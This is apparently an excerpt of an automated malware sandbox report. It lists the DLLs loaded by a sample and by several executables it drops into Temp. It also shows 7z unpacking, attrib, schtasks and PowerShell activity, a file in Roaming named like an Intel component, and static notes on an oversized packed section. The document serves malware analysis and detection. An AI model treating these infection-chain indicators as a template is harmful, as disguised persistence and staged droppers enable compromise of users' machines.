Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3003392 > 1048576

Source: file.exe

Static PE information: Raw size of opurfhmz is bigger than: 0x100000 < 0x2ab800

Source:	Binary string: ntkrnlmp.pdbx, source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: DxfmGsU.exe, 00000006.00000002.2446962747.00000000098CA000.00000004.00000020.00020000.00000000.sdmp
